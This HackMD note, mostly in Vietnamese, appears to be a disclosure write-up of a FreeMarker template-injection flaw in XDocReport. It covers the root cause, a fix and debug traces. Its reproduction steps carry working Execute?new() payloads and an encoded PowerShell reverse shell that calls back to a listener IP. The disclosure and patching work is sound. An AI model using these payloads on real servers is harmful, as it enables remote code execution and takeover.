cuongnh
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # CVE-2025-64087 (SSTI FreeMarker) # Server-Side Template Injection (SSTI) in XDocReport allows Remote Code Execution via Apache FreeMarker engine ## Bug Definition Tổng quan về lỗ hổng - Server-Side Template Injection (SSTI) là một lỗ hổng bảo mật web cho phép tấn công chèn mã độc vào các mẫu (templates) được sử dụng bởi các hệ thống quản lý nội dung (CMS) và các khung (framework) web, nhằm thực hiện các cuộc tấn công từ xa, thực hiện lấy thông tin nhạy cảm hoặc thực hiện các hoạt động xâm nhập hệ thống. - SSTI là một biến thể của lỗ hổng Injection (như SQL Injection, XSS, v.v.), trong đó tin tặc tận dụng việc sử dụng các hệ thống templates để triển khai mã độc từ xa. Khi một tấn công SSTI được thực hiện thành công, tin tặc có thể thực thi mã của riêng mình trên máy chủ ở phía máy chủ, cho phép họ thực hiện các cuộc tấn công từ xa, như thu thập thông tin nhạy cảm, thực hiện các hoạt động xâm nhập hệ thống, và truy cập các tài nguyên không được ủy quyền. - Lỗ hổng SSTI thường xảy ra do việc sử dụng các hệ thống templates không an toàn, hoặc do không kiểm tra và xử lý các tham số đầu vào trước khi chèn chúng vào các mẫu. Nếu một tấn công SSTI được thực hiện thành công, hậu quả có thể là nghiêm trọng và gây ra tổn thất lớn cho tổ chức bị tấn công. Ảnh hưởng kinh doanh - Lỗ hổng SSTI có thể gây ra nhiều hậu quả nghiêm trọng, bao gồm: - Thực thi mã độc: Kẻ tấn công có thể sử dụng lỗ hổng này để thực thi mã độc trên máy chủ, cho phép tấn công đánh cắp dữ liệu, thực hiện các hành động không hợp pháp trên hệ thống, thậm chí kiểm soát hoàn toàn máy chủ. - Tiết lộ thông tin nhạy cảm: SSTI có thể cho phép tấn công đọc, thay đổi hoặc xóa các tệp tin trên máy chủ. Nếu các tệp tin này chứa thông tin nhạy cảm, như tài khoản và mật khẩu, thì kẻ tấn công có thể dễ dàng tiết lộ thông tin này. - Tấn công đe dọa hoặc lừa đảo người dùng: Kẻ tấn công có thể sử dụng SSTI để thực hiện các tấn công đe dọa hoặc lừa đảo người dùng, bằng cách thay đổi nội dung của trang web hoặc thêm các nút tùy chỉnh giả mạo. Nếu người dùng bấm vào các nút này, kẻ tấn công có thể đánh cắp thông tin người dùng hoặc cài đặt phần mềm độc hại trên máy tính của họ. ## Severity: CRITICAL ![image](https://hackmd.io/_uploads/H13GH9ZZ-l.png) ## Description and Impact A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the FreeMarker engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE). Trang web quản lý nhân sự cho phép người dùng upload tệp tài liệu ``.docx`` lên hệ thống. Trong quá trình xử lý, ứng dụng sử dụng template engine FreeMarker (tại file FreemarkerTemplateEngine.java) để render nội dung `${"freemarker.template.utility.Execute"?new()("whoami")}` mà không có cơ chế kiểm soát hoặc lọc nội dung đầu vào. Lỗ hổng này cho phép attacker chèn các biểu thức độc hại vào file .docx (template), dẫn đến Remote Code Execution (RCE) trên máy chủ và có thể bị lợi dụng để đánh cắp thông tin hoặc chiếm quyền điều khiển hệ thống. ## Affected component fr.opensagres.xdocreport.template.freemarker — XDocReport (versions 1.0.0 through 2.1.0). ## Root cause analysis - tại file `https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java` không thực hiện kiểm tra nội dung của file xdoc đầu vào.Nội dung template được nạp thẳng và chuyển vào process(context, writer, template) để xử lý bởi engine FreeMarker mà không có cơ chế sandboxing hoặc hạn chế directive/biểu thức. Kết quả là attacker có thể cung cấp template chứa biểu thức/dòng lệnh FreeMarker độc hại, dẫn đến thực thi mã từ xa (RCE). ![image](https://hackmd.io/_uploads/BJln3YE0lg.png) ## Step to reproduce 1. Người dùng thực hiện upload file ``.docx`` có nội dung bên trong là payload sau: ``` ${"freemarker.template.utility.Execute"?new()("calc")} ``` ![image](https://hackmd.io/_uploads/SJ7CPIz0xg.png) 2. Thấy có thể thực thi thành công và mở ứng dụng calc ![image](https://hackmd.io/_uploads/BkaIvIMRle.png) 3. Tương tự để lấy thông tin người dùng đang chạy trên hệ thống với payload: ``` ${"freemarker.template.utility.Execute"?new()("whoami")} ``` ![image](https://hackmd.io/_uploads/SyRbsFzCxe.png) ![image](https://hackmd.io/_uploads/ryImsFGAgg.png) 4. Có thể thấy file ``.docx`` qua xử lý của template engine đã trả ra dữ liệu của hệ thống ![image](https://hackmd.io/_uploads/SyeNsKfRex.png) 5. Tương tự với payload sau: ``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")} ``` ![image](https://hackmd.io/_uploads/HyS5SgU0eg.png) ![image](https://hackmd.io/_uploads/Bk13HeLAll.png) ![image](https://hackmd.io/_uploads/r1yiHlIAel.png) 6. Nâng impact lên RCE - Máy lắng nghe là wsl có địa chỉ ip là `172.26.208.130` ![image](https://hackmd.io/_uploads/SkYCol8Cel.png) - khai thác với payload sau: ![image](https://hackmd.io/_uploads/HksplZUAeg.png) ```java ${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")} ``` ![image](https://hackmd.io/_uploads/H10-3x8Rxe.png) - Cho file ``.docx`` qua xdocreport xử lý ![image](https://hackmd.io/_uploads/SkAI3lLAxe.png) - Thấy bắt được shell trả về tại máy wsl ![image](https://hackmd.io/_uploads/BycRhxUAel.png) ## Solution ### CHặn thực thi reflection (an toàn nhất nhưng đang build lỗi) - tại file `xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java` thêm các nội dung sau ![image](https://hackmd.io/_uploads/H1uAaYzRxl.png) ![image](https://hackmd.io/_uploads/BkgyAKfAxe.png) Cách fix của tôi vẫn cho phép render object và properties bình thường như ``${cuong.name}`` và chỉ chặn các built-in functions NGUY HIỂM - **Tất cả payload SSTI đều bị chặn**: - `${'freemarker.template.utility.Execute'?new()('calc')}` - **BỊ CHẶN** bởi `ALLOWS_NOTHING_RESOLVER` - `${'java.lang.Runtime'?api.getRuntime()}` - **BỊ CHẶN** bởi `setAPIBuiltinEnabled(false)` - Tất cả các payload khác sử dụng ``?new()`` và ``?api`` đều bị chặn ### validate input #### **1. Main File - FreemarkerTemplateEngine.java** **Path:** `template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java` **Changes:** - ✅ **Added import:** `java.util.regex.Pattern` ![image](https://hackmd.io/_uploads/HyU01Qv0xx.png) - ✅ **Added method `validateTemplateSecurity(Reader reader)`** — Validates dangerous patterns ![image](https://hackmd.io/_uploads/S1QyeQPRxg.png) - ✅ **Updated `processNoCache()`** — Added validation before creating the Template ![image](https://hackmd.io/_uploads/B1wfg7wCex.png) - ✅ **Updated `process(String templateName, …)`** — Added validation to this method ![image](https://hackmd.io/_uploads/Hk1VlmwRxg.png) #### **2. Test File - FreemarkerTemplateEngineSecurityTestCase.java** **Path:** `template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java` **Changes:** - ✅ **Created new test case** — Tests common SSTI payloads - ✅ **Main payload tested:** `${"freemarker.template.utility.Execute"?new()("whoami")}` - ✅ **Additional patterns tested:** `?new`, `java.lang.Runtime`, `java.lang.ProcessBuilder`, etc. - ✅ **Safe template test** — Ensures normal templates still work properly #### **Summary of Changes** | File | Type of Change | Purpose | |------|----------------|----------| | **FreemarkerTemplateEngine.java** | **Modified** | Added SSTI protection | | **FreemarkerTemplateEngineSecurityTestCase.java** | **New File** | Tests validation logic | ### Fix cuối cùng - https://github.com/opensagres/xdocreport/pull/705 ![image](https://hackmd.io/_uploads/SyZDfgl--g.png) ![image](https://hackmd.io/_uploads/BySYMxgZWg.png) ở bản vá `2.2.0` đã bật cơ chế bảo vệ và ngăn chặn ssti thành công ![image](https://hackmd.io/_uploads/B15zLD5FWg.png) ## References - https://portswigger.net/web-security/server-side-template-injection ## Thiết lập môi trường debug ![image](https://hackmd.io/_uploads/HkUB2FG0xe.png) - tại file Main.java ```java package org.example; import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind; import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; public class Main { public static void main(String[] args) { try { // Đọc file đầu vào chứa biểu thức Velocity File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào InputStream input = new FileInputStream(docxTemplate); // Load template sử dụng FreeMarker IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập IContext context = report.createContext(); // Xuất ra file mới OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx")); report.process(context, out); System.out.println("✅ Đã tạo file result.docx thành công."); } catch (Exception e) { System.err.println("❌ Lỗi xử lý file:"); e.printStackTrace(); } } } ``` - Thư viện cần import ```xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>vcs1</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>18</maven.compiler.source> <maven.compiler.target>18</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <!-- Template engine: FreeMarker --> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId> <version>2.1.0</version> </dependency> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.xdocreport.document.docx</artifactId> <version>2.0.3</version> </dependency> </dependencies> </project> ``` A Điểm bắt đầu (entry points / sources) ```java File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); ``` → source chính là file DOCX này — nếu file được người dùng upload/ghi, nội dung template bên trong (FreeMarker syntax) là dữ liệu không tin cậy. ``` InputStream input = new FileInputStream(docxTemplate); ``` → đọc nội dung file để chuyển tiếp cho XDocReport. ```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); ``` - loadReport(...) sẽ phân tích (parse) file DOCX, tìm entry/template trong DOCX và tạo một IXDocReport (bên trong nó sẽ khởi tạo Template object của FreeMarker hoặc giữ reader cho template). - Nội dung template trong file DOCX giờ đã nằm trong đối tượng report (vẫn chưa thực thi). ![image](https://hackmd.io/_uploads/B1iFlSzAel.png) ![image](https://hackmd.io/_uploads/S1NkWBf0ee.png) zipInputStream.getNextEntry() lặp qua từng entry (mỗi file) bên trong ZIP (.docx). archive = new XDocArchive(...) — nếu chưa có archive thì khởi tạo 1 đối tượng để tổ chức/đăng ký các entry của tài liệu. ![image](https://hackmd.io/_uploads/HkiIWSfAel.png) Tóm lại: đoạn này giải nén nội dung DOCX vào một cấu trúc nội bộ (XDocArchive) để phần sau có thể truy xuất các file con (document.xml,...) ```java private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind, ITemplateEngine templateEngine, boolean cacheReport ) throws IOException, XDocReportException { initializeIfNeeded(); // 2) zip was loaded, create an instance of report IXDocReport report = createReport( sourceStream ); // 3) Update the report id if need. if ( StringUtils.isEmpty( reportId ) ) { reportId = report.toString(); } report.setId( reportId ); // 4) Search or set the template engine. if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) ) { // Template engine was not forced. // Search template engine String documentKind = report.getKind(); templateEngine = TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind ); if ( templateEngine == null ) { templateEngine = TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null ); } } report.setTemplateEngine( templateEngine ); if ( cacheReport ) { registerReport( report ); } return report; } ``` | Bước | Hành động | Mục đích | | ---- | -------------------- | ---------------------------------------- | | 1 | Đọc file DOCX | Lấy cấu trúc báo cáo gốc | | 2 | Tạo `IXDocReport` | Đại diện cho template | | 3 | Gán ID | Quản lý duy nhất | | 4 | Chọn template engine | Để xử lý biểu thức (Freemarker/Velocity) | | 5 | Cache nếu cần | Tối ưu hiệu suất | | 6 | Trả về report | Dùng để render file kết quả | ![image](https://hackmd.io/_uploads/B1YuErzAxg.png) Tóm lại không có cơ chế kiểm tra SSTI tại ```IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);``` mà chỉ load các file xml trong docx và trả về `IXDocReport report` đã sẵn sàng để xử lý (ví dụ render, merge dữ liệu…). ![image](https://hackmd.io/_uploads/HJp_HBf0eg.png) tại ``report.process(context, out);`` ![image](https://hackmd.io/_uploads/SkOO64M0gg.png) - Đây là điểm kích hoạt (sink thực thi): XDocReport sẽ gọi engine tương ứng (ở đây là FreeMarker) để merge template với context và render kết quả ra out. - Phương thức này lấy template tài liệu (ví dụ .docx hoặc .odt) đã được nạp trước đó, rồi nhúng dữ liệu từ đối tượng context (thường là IContext) vào các biến trong template. - Sau đó nó render ra tài liệu hoàn chỉnh (với dữ liệu thực) và ghi kết quả ra stream out, tức là ra file results.docx. đi sâu vào bên trong hàm này có gọi đến `preprocess(...)` phân tích XML đọc từng entry XML, sau đó Parse nội dung XML và tạo BufferedDocument rồi ghi ra Writer (đây là bản XML đã được xử lý sơ bộ). ![image](https://hackmd.io/_uploads/HJcywBzRxl.png) ```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; } return false; } catch ( SAXException e ) { throw new XDocReportException( e ); } } ``` ![image](https://hackmd.io/_uploads/BJsDqHzRge.png) sau đó nó nhảy vào `processNoCache()` và gọi `getReader()` ![image](https://hackmd.io/_uploads/r1gpirG0el.png) ![image](https://hackmd.io/_uploads/H1xE3rfCxl.png) Hàm ``getReader()`` dùng để thêm bao escape directive quanh toàn bộ template, nhằm bảo đảm nội dung được xử lý an toàn (escape HTML, tránh injection). ![image](https://hackmd.io/_uploads/HyM8pHzCxe.png) Template gốc: ```xml <w:p> <w:t>Hello ${name}!</w:t> </w:p> ``` Sau khi getReader() xử lý: ```xml [#--<![CDATA[[#escape any as any?xml] <w:p> <w:t>Hello ${name}!</w:t> </w:p> [/#escape][#--]]>--] ``` nó giúp Freemarker engine đọc được an toàn hơn: - Bảo vệ XML: Escape các ký tự đặc biệt trong XML - Xử lý an toàn: Tránh lỗi khi Freemarker parse template sau đó gọi `FMParser` để phân tích cú pháp Freemarker ![image](https://hackmd.io/_uploads/SJwnxLfCgg.png) cuối cùng vào `process()` gọi `environment.process();` và reader dữ liệu ``` public void process() throws TemplateException, IOException { Object savedEnv = threadEnv.get(); threadEnv.set(this); try { // Cached values from a previous execution are possibly outdated. clearCachedValues(); try { doAutoImportsAndIncludes(this); visit(getTemplate().getRootTreeNode()); // It's here as we must not flush if there was an exception. if (getAutoFlush()) { out.flush(); } } finally { // It's just to allow the GC to free memory... clearCachedValues(); } } finally { threadEnv.set(savedEnv); } } ``` 👉 Đây là bước quan trọng nhất — phần render thực sự xảy ra. - getTemplate() trả về template đã parse (AST). - getRootTreeNode() là nút gốc của cây cú pháp được FMParser tạo ra lúc parse. - visit() là API lõi của FreeMarker, dùng để duyệt và render từng phần tử của template, và được định nghĩa trong freemarker.core.Environment - Gặp TextBlock → ghi text ra out. - Gặp Interpolation (ví dụ ``${user.name}``) → tra trong dataModel, lấy giá trị, ghi ra out. - Gặp #if, #list, #include, macro → xử lý logic tương ứng ```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! } ``` ![image](https://hackmd.io/_uploads/BJMLCQX0ee.png) ![image](https://hackmd.io/_uploads/SyDi57mAgg.png) ![image](https://hackmd.io/_uploads/SJ6Wo7XRel.png) nó trigger tại entryName `word/document.xml` ![image](https://hackmd.io/_uploads/H1axTmmAgx.png) tiếp theo nhảy vào hàm ``accept()`` ![image](https://hackmd.io/_uploads/B1A92I7Rgl.png) ```java TemplateElement[] accept(Environment env) throws TemplateException, IOException { final Object moOrStr = calculateInterpolatedStringOrMarkup(env); final Writer out = env.getOut(); if (moOrStr instanceof String) { final String s = (String) moOrStr; if (autoEscape) { markupOutputFormat.output(s, out); } else { out.write(s); } } else { final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr; final MarkupOutputFormat moOF = mo.getOutputFormat(); // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic! if (moOF == outputFormat) { moOF.output(mo, out); } else if (!outputFormat.isOutputFormatMixingAllowed()) { final String srcPlainText; // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic! srcPlainText = moOF.getSourcePlainText(mo); if (srcPlainText == null) { throw new _TemplateModelException(escapedExpression, "The value to print is in ", new _DelayedToString(moOF), " format, which differs from the current output format, ", new _DelayedToString(outputFormat), ". Format conversion wasn't possible."); } if (markupOutputFormat != null) { markupOutputFormat.output(srcPlainText, out); } else { out.write(srcPlainText); } } else if (markupOutputFormat != null) { markupOutputFormat.outputForeign(mo, out); } else { moOF.output(mo, out); } } return null; } ``` ![image](https://hackmd.io/_uploads/ryiU0I7Clx.png) ```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } } ``` ![image](https://hackmd.io/_uploads/Hkz_xwQ0ex.png) ![image](https://hackmd.io/_uploads/S1MBxv7Axl.png) ![image](https://hackmd.io/_uploads/S1rf7w7Rxx.png) ![image](https://hackmd.io/_uploads/rk-UQDXRxx.png) ![image](https://hackmd.io/_uploads/HJaI7DXRgg.png) ![image](https://hackmd.io/_uploads/S1QOQD7Rlx.png) ![image](https://hackmd.io/_uploads/SywK7PXRlx.png) ![image](https://hackmd.io/_uploads/BJCqQDX0xe.png) ![image](https://hackmd.io/_uploads/SJ9RmwXCle.png) luồng thực thi trong hàm `visit()` như sau ``` visit(Interpolation) // gọi accept(...) └─ Interpolation.accept(env) └─ calculateInterpolatedStringOrMarkup(env) └─ expression.eval(env) └─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute) └─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây ``` ### Tóm tắt debug ``` [User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong `${}` │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 **Kết quả: Server-Side Template Injection (SSTI)** ``` ## 🔍 **Tóm tắt các điểm then chốt có thể khai thác** | Giai đoạn | Lớp | Vai trò | Liên quan SSTI | |------------|------|----------|----------------| | `loadReport()` | `XDocReportRegistry` | Tải template | Không kiểm soát input | | `getReader()` | `TemplateEngine` | Đọc dữ liệu template | Có thể chứa payload | | `FMParser` | `freemarker.core` | Parse nội dung | Biến `${}` được phân tích | | `Environment.process()` | `freemarker.core` | Render template | Gọi `visit()` từng node | | `visit()` / `eval()` | `freemarker.core` | Thực thi biểu thức | **Điểm SSTI / RCE** | --- ## Tài liệu - https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
